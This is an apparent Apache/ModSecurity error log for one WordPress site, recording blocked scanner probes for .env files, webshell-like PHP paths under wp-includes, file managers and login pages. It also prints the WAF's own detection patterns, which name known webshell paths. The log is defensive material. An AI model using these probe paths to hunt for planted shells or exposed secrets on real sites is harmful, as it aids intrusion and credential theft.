[Thu Feb 26 12:14:38.137698 2026] [:error] [pid 55051:tid 55054] [client 152.53.187.237:33994] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZ_IrgmK1w2kZvh5eLHWeQAAAIA"]
[Thu Feb 26 12:14:41.914354 2026] [:error] [pid 55122:tid 55134] [client 152.53.187.237:54556] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZ_IsYLiR0OfjFxvcN-swwAAAMo"]
[Thu Feb 26 12:14:44.611660 2026] [:error] [pid 55122:tid 55127] [client 152.53.187.237:54568] [client 152.53.187.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZ_ItILiR0OfjFxvcN-sywAAAMM"]
[Thu Feb 26 12:54:58.476291 2026] [:error] [pid 55618:tid 55628] [client 141.98.11.171:59083] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aZ_SIh61Vrh12f_8oWRtIwAAAQc"]
[Thu Feb 26 12:54:59.589905 2026] [:error] [pid 25311:tid 25333] [client 141.98.11.171:59417] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aZ_SI9fdM__yZAgJFSu_WAAAAZM"]
[Thu Feb 26 13:49:10.085443 2026] [:error] [pid 25311:tid 25322] [client 182.44.12.37:58504] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZ_e1tfdM__yZAgJFSvnnQAAAYg"]
[Thu Feb 26 14:15:13.632935 2026] [:error] [pid 55051:tid 55062] [client 43.157.53.115:53472] [client 43.157.53.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZ_k8QmK1w2kZvh5eLHsNgAAAIg"]
[Thu Feb 26 14:26:35.383591 2026] [:error] [pid 25311:tid 25330] [client 194.5.82.157:46515] [client 194.5.82.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aZ_nm9fdM__yZAgJFSsDfQAAAZA"]
[Thu Feb 26 14:26:36.580984 2026] [:error] [pid 3883:tid 3897] [client 194.5.82.125:39903] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aZ_nnOA33x90V6yYHaiCQgAAAUs"]
[Thu Feb 26 14:26:39.409539 2026] [:error] [pid 54991:tid 55026] [client 194.5.82.116:48117] [client 194.5.82.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aZ_nn94Zx-mJ8gbRB2iVmAAAAEY"]
[Thu Feb 26 14:26:40.774689 2026] [:error] [pid 25311:tid 25338] [client 194.5.82.120:23397] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aZ_noNfdM__yZAgJFSsDjQAAAZg"]
[Thu Feb 26 14:26:42.567575 2026] [:error] [pid 55051:tid 55055] [client 194.5.82.105:32061] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aZ_nogmK1w2kZvh5eLHudQAAAIE"]
[Thu Feb 26 14:26:45.363348 2026] [:error] [pid 20419:tid 20444] [client 194.5.82.162:39821] [client 194.5.82.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aZ_npe3DVDvMfTYYUBWwmAAAAdY"]
[Thu Feb 26 14:26:47.864212 2026] [:error] [pid 55618:tid 55639] [client 194.5.82.120:32217] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aZ_npx61Vrh12f_8oWSPpgAAARI"]
[Thu Feb 26 14:26:48.973122 2026] [:error] [pid 3883:tid 3888] [client 194.5.82.156:59479] [client 194.5.82.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aZ_nqOA33x90V6yYHaiCZAAAAUI"]
[Thu Feb 26 14:26:51.674532 2026] [:error] [pid 55122:tid 55137] [client 194.5.82.150:61313] [client 194.5.82.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aZ_nq4LiR0OfjFxvcN_NFgAAAM0"]
[Thu Feb 26 14:26:52.972228 2026] [:error] [pid 25311:tid 25316] [client 194.5.82.137:41377] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aZ_nrNfdM__yZAgJFSsDogAAAYI"]
[Thu Feb 26 14:27:05.126364 2026] [:error] [pid 55618:tid 55639] [client 194.5.82.131:33609] [client 194.5.82.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.131, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aZ_nuR61Vrh12f_8oWSP9gAAARI"]
[Thu Feb 26 14:27:06.788009 2026] [:error] [pid 55618:tid 55643] [client 194.5.82.131:33609] [client 194.5.82.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aZ_nuh61Vrh12f_8oWSP-gAAARY"]
[Thu Feb 26 14:27:11.895772 2026] [:error] [pid 55122:tid 55134] [client 194.5.82.137:64189] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aZ_nv4LiR0OfjFxvcN_NJgAAAMo"]
[Thu Feb 26 14:27:27.076977 2026] [:error] [pid 25311:tid 25328] [client 194.5.82.144:54041] [client 194.5.82.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aZ_nz9fdM__yZAgJFSsEZgAAAY4"]
[Thu Feb 26 14:27:46.786539 2026] [:error] [pid 20419:tid 20431] [client 194.5.82.145:51501] [client 194.5.82.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/F0x.php"] [unique_id "aZ_n4u3DVDvMfTYYUBWxXQAAAck"]
[Thu Feb 26 14:28:03.872237 2026] [:error] [pid 54990:tid 55009] [client 194.5.82.127:40419] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aZ_n83tr2qmt_mBhH2zjwAAAABA"]
[Thu Feb 26 14:28:04.502962 2026] [:error] [pid 20419:tid 20426] [client 194.5.82.105:49791] [client 194.5.82.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.5.82.105, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ_n9O3DVDvMfTYYUBWxdQAAAcQ"]
[Thu Feb 26 14:28:05.799593 2026] [:error] [pid 20419:tid 20438] [client 194.5.82.105:49791] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aZ_n9e3DVDvMfTYYUBWxeAAAAdA"]
[Thu Feb 26 14:28:12.475273 2026] [:error] [pid 3883:tid 3898] [client 194.5.82.140:51967] [client 194.5.82.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aZ_n_OA33x90V6yYHaiDJAAAAUw"]
[Thu Feb 26 14:28:19.670077 2026] [:error] [pid 3883:tid 3899] [client 194.5.82.127:62739] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aZ_oA-A33x90V6yYHaiDQAAAAU0"]
[Thu Feb 26 14:28:20.962586 2026] [:error] [pid 54990:tid 54999] [client 194.5.82.152:42221] [client 194.5.82.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZ_oBHtr2qmt_mBhH2zjwQAAAAY"]
[Thu Feb 26 14:28:24.186741 2026] [:error] [pid 55618:tid 55621] [client 194.5.82.169:38103] [client 194.5.82.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aZ_oCB61Vrh12f_8oWSQEQAAAQA"]
[Thu Feb 26 14:28:25.056764 2026] [:error] [pid 3883:tid 3894] [client 194.5.82.155:35475] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aZ_oCeA33x90V6yYHaiDRgAAAUg"]
[Thu Feb 26 14:28:26.749026 2026] [:error] [pid 3883:tid 3894] [client 194.5.82.107:59985] [client 194.5.82.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.107, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aZ_oCuA33x90V6yYHaiDUAAAAUg"]
[Thu Feb 26 14:28:32.495914 2026] [:error] [pid 3883:tid 3895] [client 194.5.82.107:59985] [client 194.5.82.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aZ_oEOA33x90V6yYHaiDawAAAUk"]
[Thu Feb 26 14:28:34.881239 2026] [:error] [pid 25311:tid 25324] [client 194.5.82.147:62633] [client 194.5.82.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.147, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aZ_oEtfdM__yZAgJFSsFPQAAAYo"]
[Thu Feb 26 14:28:37.306592 2026] [:error] [pid 25311:tid 25323] [client 194.5.82.147:62633] [client 194.5.82.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aZ_oFdfdM__yZAgJFSsFTQAAAYk"]
[Thu Feb 26 14:28:37.969562 2026] [:error] [pid 54990:tid 55014] [client 194.5.82.122:50061] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aZ_oFXtr2qmt_mBhH2zjwwAAABU"]
[Thu Feb 26 14:28:39.787504 2026] [proxy_fcgi:error] [pid 3883:tid 3899] [client 194.5.82.144:23325] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:28:42.914938 2026] [proxy_fcgi:error] [pid 3883:tid 3896] [client 194.5.82.144:23325] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:28:47.298244 2026] [:error] [pid 3883:tid 3899] [client 194.5.82.144:23325] [client 194.5.82.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aZ_oH-A33x90V6yYHaiDogAAAU0"]
[Thu Feb 26 14:28:50.075009 2026] [:error] [pid 20419:tid 20423] [client 194.5.82.169:56487] [client 194.5.82.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aZ_oIu3DVDvMfTYYUBWxtAAAAcE"]
[Thu Feb 26 14:28:52.676383 2026] [:error] [pid 20419:tid 20442] [client 194.5.82.123:58531] [client 194.5.82.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aZ_oJO3DVDvMfTYYUBWxvAAAAdQ"]
[Thu Feb 26 14:28:57.914210 2026] [:error] [pid 3883:tid 3887] [client 194.5.82.137:46121] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aZ_oKeA33x90V6yYHaiDswAAAUE"]
[Thu Feb 26 14:28:58.658313 2026] [:error] [pid 54991:tid 55027] [client 194.5.82.111:36731] [client 194.5.82.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aZ_oKt4Zx-mJ8gbRB2iVxwAAAEc"]
[Thu Feb 26 14:28:59.665212 2026] [:error] [pid 55051:tid 55054] [client 194.5.82.159:48237] [client 194.5.82.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.159, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aZ_oKwmK1w2kZvh5eLHurAAAAIA"]
[Thu Feb 26 14:29:00.878841 2026] [:error] [pid 55051:tid 55069] [client 194.5.82.159:48237] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aZ_oLAmK1w2kZvh5eLHurwAAAI8"]
[Thu Feb 26 14:29:06.984604 2026] [:error] [pid 55122:tid 55137] [client 194.5.82.120:47887] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aZ_oMoLiR0OfjFxvcN_NqwAAAM0"]
[Thu Feb 26 14:29:09.203562 2026] [:error] [pid 3883:tid 3907] [client 194.5.82.156:28789] [client 194.5.82.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aZ_oNeA33x90V6yYHaiDxAAAAVU"]
[Thu Feb 26 14:29:11.398104 2026] [:error] [pid 20419:tid 20435] [client 194.5.82.137:32523] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aZ_oN-3DVDvMfTYYUBWx_wAAAc0"]
[Thu Feb 26 14:29:14.384053 2026] [:error] [pid 3883:tid 3901] [client 194.5.82.150:27931] [client 194.5.82.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.150, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aZ_oOuA33x90V6yYHaiDzQAAAU8"]
[Thu Feb 26 14:29:15.763386 2026] [:error] [pid 3883:tid 3891] [client 194.5.82.150:27931] [client 194.5.82.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aZ_oO-A33x90V6yYHaiD0gAAAUU"]
[Thu Feb 26 14:29:18.357639 2026] [:error] [pid 25311:tid 25315] [client 194.5.82.123:26889] [client 194.5.82.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZ_oPtfdM__yZAgJFSsFygAAAYE"]
[Thu Feb 26 14:29:24.072239 2026] [:error] [pid 3883:tid 3905] [client 194.5.82.135:22081] [client 194.5.82.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aZ_oROA33x90V6yYHaiD7AAAAVM"]
[Thu Feb 26 14:29:26.182707 2026] [:error] [pid 25311:tid 25320] [client 194.5.82.145:47493] [client 194.5.82.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aZ_oRtfdM__yZAgJFSsF7QAAAYY"]
